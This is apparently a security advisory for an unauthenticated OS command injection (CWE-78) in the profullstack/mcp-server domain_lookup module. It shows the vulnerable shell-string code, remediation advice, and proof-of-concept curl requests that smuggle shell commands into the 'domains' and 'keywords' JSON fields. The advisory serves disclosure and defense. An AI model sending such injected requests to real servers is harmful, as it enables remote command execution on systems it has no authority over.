profullstack/mcp-server domain_lookup Module| Field | Value |
|---|---|
| Project | profullstack/mcp-server |
| Repository | https://github.com/profullstack/mcp-server |
| Affected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9 |
| Affected Module | mcp_modules/domain_lookup |
| Affected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk |
| Vulnerability Type | CWE-78: OS Command Injection |
| CVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentication Required | None |
| Default Network Exposure | Bind address 0.0.0.0, no global authentication middleware |
| Validated | 2026-04-21 (initial), 2026-04-28 (re-confirmed) |
The domain_lookup module assembles a shell command string by concatenating user-controlled input (domains / keywords) and passes it to execAsync(). Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.
index.js:27 — server binds to 0.0.0.0, no global auth middleware.mcp_modules/domain_lookup/index.js:52 — registers POST /domain-lookup/check.mcp_modules/domain_lookup/index.js:55 — registers POST /domain-lookup/bulk.mcp_modules/domain_lookup/src/service.js:19, :20 — buildTldxCommand() concatenates user input into the shell string.mcp_modules/domain_lookup/src/service.js:114, :115, :142 — execAsync(command) sink reached from both routes.File: mcp_modules/domain_lookup/src/service.js
Step 1 — User input concatenated directly into a shell string:
buildTldxCommand(keywords, options = {}) {
let command = `tldx ${keywords.join(' ')}`;
if (options.prefixes?.length) {
command += --prefixes ${options.prefixes.join(',')};
}
}
Step 2 — That shell string is executed as-is:
async checkDomainAvailability(domains, options = {}) {
try {
const command = this.buildTldxCommand(domains, options);
const { stdout, stderr } = await execAsync(command);
There is no sanitization between Step 1 and Step 2. Shell metacharacters (;, |, $(), etc.) in user input are interpreted by /bin/sh at execution time.
Tested against a local Docker build of the affected commit (0.0.0.0:13000->3000/tcp).
POST /domain-lookup/checkRequest:
curl -X POST http://localhost:13000/domain-lookup/check \
-H 'Content-Type: application/json' \
-d '{"domains":["example.com; echo final_check_poc > /tmp/verify-exports/final_check.txt; #"]}'
Response:
HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:39 GMT
{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"}
Side effect confirmed inside container:
$ cat /tmp/verify-exports/final_check.txt
final_check_poc
POST /domain-lookup/bulkRequest:
curl -X POST http://localhost:13000/domain-lookup/bulk \
-H 'Content-Type: application/json' \
-d '{"keywords":["safe","x; echo final_bulk_poc > /tmp/verify-exports/final_bulk.txt; #"]}'
Response:
HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:40 GMT
{"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\n"}
Side effect confirmed inside container:
$ cat /tmp/verify-exports/final_bulk.txt
final_bulk_poc
Both requests return HTTP 500 because tldx is not installed in the test container. The injected commands are interpreted by the shell before tldx is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where tldx is installed, both the intended function and the injected commands execute.
execAsync(command) with child_process.execFile or spawn('tldx', [keyword1, keyword2, ...]) — pass arguments as an array, never as a concatenated shell string.127.0.0.1 and require explicit opt-in for non-loopback bindings.tldx binary; this is intentional for safe local PoC and does not affect exploitability.{
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-09T00:42:12Z",
"nvd_published_at": null,
"severity": "CRITICAL"
}